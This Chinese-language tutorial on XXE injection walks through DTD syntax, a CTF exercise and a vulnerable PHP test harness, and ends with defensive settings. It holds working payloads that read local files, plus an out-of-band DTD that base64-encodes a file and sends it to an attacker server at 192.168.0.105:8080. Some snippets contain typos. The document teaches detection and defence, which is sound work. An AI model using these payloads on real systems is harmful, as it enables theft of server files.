码迷,mamicode.com
首页 > Web开发 > 详细

OWASP TOP 10 之 XXE

时间:2020-11-06 01:42:31      阅读:25      评论:0      收藏:0      [点我收藏+]

标签:line   实体类   lazy   nts   encode   xml文件   测试   文档   system   

OWASP TOP 10 之 XXE

XXE简介

xxe定义:

所谓XXE漏洞实际上可以理解为使用了XML语言的注入漏洞

那么什么时xml呢?

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。举个通俗的例子:前段跟后端需要交互,两者之间需要传输数据,那么这个用来存储或者说传输数据的语言就是xml(当然,这只是一方面)xml就好比我们买东西做交易时使用的钞票。

接下来我们就可以聊一聊xxe的原理了

1.xml文档结构具体说明

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

技术图片

 

 

 

<?xml version=”1.0” encoding="gb2312" encoding=”UTF-8”?>   //xml声明、版本、编码
<!DOCTYPE root system "http://www.XXXX.com/file"[   //定义DTD文件,格式为:root指定根节点名称,system声明要使用的外部DTD文件路径,后面加文件URL,注意[]包裹。

<!ELEMENT root (other)>    // 元素声明,声明xml中包含的元素,声明中需要指定元素名称(root、other等)和元素类别、内容等

<!ELEMENT to (#PCDATA)>    // <!--定义to元素为”#PCDATA”类型-->

<!ENTITY generalentity "content" >  //!ENTITY标签用于声明实体,关于实体的定义如下:“实体是用于定义引用普通文本或特殊字符的快捷方式的变量”实体是在DTD文件中定义的变量,xml解析器解析xml文件的时候,会将被的引用替换为实体内容,实体分为:预定义实体、普通实体、参数实体,此处定义了普通实体generalentity,内容为content

<!ENTITY % extendentity SYSTEM "http://www.XXXX.com/file">    //定义参数实体,格式为:<!ENTITY % 参数名称 参数内容>
引用格式:%参数名称
参数实体只能在DTD文件中引用,内部DTD文件的参数引用只能出现于DTD标签可出现的位置,外部DTD文件参数实体的引用可以出于DTD标签内容,比如:<!ENTITY % "%another">

%extendentity;  //引用参数外部实体
<!--XML声明-->
<?xml version="1.0"?> 
<!--文档类型定义-->
<!DOCTYPE note [  <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)>  <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)>     <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)>   <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)>   <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)>   <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--下面为文档元素-->
<note>
<to>Dave</to>    //调用Dave实体(此步骤不可缺)
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

2.DTD的基础知识

Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。 

参考链接: http://www.w3school.com.cn/dtd/index.asp

首先了解下基本的PAYLOAD结构,然后再介绍每部分涉及的知识点,如下:

PAYLOAD开头进行了XML的声明然后使用DTD声明实体(这里使用了file协议)最后使用XML获取实体的数据

基本的PAYLOAD结构:

技术图片

使用DTD实体的攻击方式 :
DTD 引用方式(简要了解):
1. DTD 内部声明
<!DOCTYPE 根元素 [元素声明]>
2. DTD 外部引用
<!DOCTYPE 根元素名称 SYSTEM "外部DTD的URI">
3. 引用公共DTD
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">

示例:

<?xml version="1.0"?>   
<!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN"
"http://mybatis.org/dtd/mybatis-3-config.dtd">
......
命名方法:以!DOCTYPE开始,configuration是文档根元素名称;
PUBLIC表示是公共DTD;-表示是非ISO组织;mybatis.org表示组织;
DTD 表示类型;Config 表示标签;3.0是标签后附带的版本号;
EN表示DTD语言是英语;最后是DTD的URL;
DTD 实体声明(重点学习):

1. 内部实体声明

<!ENTITY 实体名称 "实体的值"> 
一个实体由三部分构成:&符号, 实体名称, 分号 (;),这里&不论在GET还是在POST中都需要进行URL编码,因为是使用参数传入xml的,&符号会被认为是参数间的连接符号,示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "oldboyedu.com">]>
<foo>&xxe;</foo>

技术图片

2. 外部实体声明

<!ENTITY 实体名称 SYSTEM "URI/URL"> 

使用外部声明,将攻击者的主机payload传送给受害者
外部引用可支持http,file等协议,不同的语言支持的协议不同,但存在一些通用的协议,具体内容如下所示:

技术图片

示例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

技术图片

3. 参数实体声明

<!ENTITY % 实体名称 "实体的值">
or
<!ENTITY % 实体名称 SYSTEM "URI">

实例:

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://192.168.0.105:8080/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

外部evil.dtd中的内容。

<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

技术图片

4. 引用公共实体

<!ENTITY 实体名称 PUBLIC "public_ID" "URI">

技术图片

 实体类别介绍

实体主要分为一下四类

  • 内置实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 通用实体 (General entities)
  • 参数实体 (Parameter entities)

参数实体%实体名称申明,引用时也用%实体名称;
其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;
其余实体只能在DTD中申明,可在xml文档中引用。

xxe的原理

xxe的攻击原理就是在以下任一条件时:

如果运维人员使用了低版本php或者其他低版本动态开发语言,那么libxml就可能低于2.9.1

或者程序员设置了libxml_disable_entity_loader(FALSE);

攻击者可以再前段输入精心规划的xml代码,从服务端任意读取或者上传文件。

ps:

libxml2.9.1及以后,默认不解析外部实体。测试的时候windows下使用的是php5.2(libxml Version 2.7.7 ), php5.3(libxml Version 2.7.8)。Linux中需要将libxml低于libxml2.9.1的版本编译到PHP中,可以使用phpinfo()查看libxml的版本信息。

如何搜查xxe漏洞

①使用burpsuit抓包查看accept头是否接受xml(xml或者*/*都表示接受xml)

②是*/*时,将默认content_type接受文件类型改为xml

例如:

jarvisoj上的一道题目API调用

这道题的题目说明是 请设法获得目标机器/home/ctf/flag.txt中的flag值。

进入题目 http://web.jarvisoj.com:9882/ 发现一个输入框,我们对其进行抓包

技术图片

是一个json数据提交,修改数据发现可以被解析

技术图片

这是一道xxe的题,怎么获取flag?只要将json处改为xml,然后提交xml文档即可(重点是accept为*/*)

 技术图片

Pikachu  xxe代码

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "file:///C://1.txt">
]>
<x>&f;</x>

xxe攻击

环境准备

这里我们演示php的xxe,所以就搭建一个简单的php xxe环境吧

在phpstudy的根目录www下,存入以下代码的xml文件:

xml.php

<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents(php://input);
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

test.tdt

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM ‘http://192.168.0.105:8080?p=%file;‘>">

可以把这两个文件放入同一个文件夹xxe2中,便于访问操作

然后在c:/下创建一个靶文件1.txt,内容随意

有回显

有回显的情况可以使用如下的两种方式进行XXE注入攻击。

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  xxe SYSTEM "file:///c:/windows/win.ini" >]>
<foo>&xxe;</foo>

<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY  % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;]>
<foo>&evil;</foo>

外部evil.dtd中的内容。

<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >

技术图片

 

 无回显情况

可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

test.dtd的内容(内部的%号要进行实体编码成%  ,此test.dtd就是上边我们所创建的test.dtd(注:编码可参考:http://www.mamicode.com/info-detail-1680849.html))

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM ‘http://192.168.0.105:8080?p=%file;‘>">

有报错直接查看报错信息。

技术图片

无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据

 技术图片

我们清楚的看到日志中接收到了我们用 base64 编码后的敏感文件信息(编码也是为了不破坏原本的XML语法),不编码会报错

整个调用过程:

我们从 payload 中能看到 连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。???

防范方法:

1、升级php等...语言版本

(运维人员职责,实则主要是升级xml版本)

2、程序员修改代码

PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
setFeature("http://xml.org/sax/features/external-general-entities",false)
setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

3、过滤关键词

<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

 

 

OWASP TOP 10 之 XXE

标签:line   实体类   lazy   nts   encode   xml文件   测试   文档   system   

原文地址:https://www.cnblogs.com/dazhu-secure/p/13928516.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有
迷上了代码!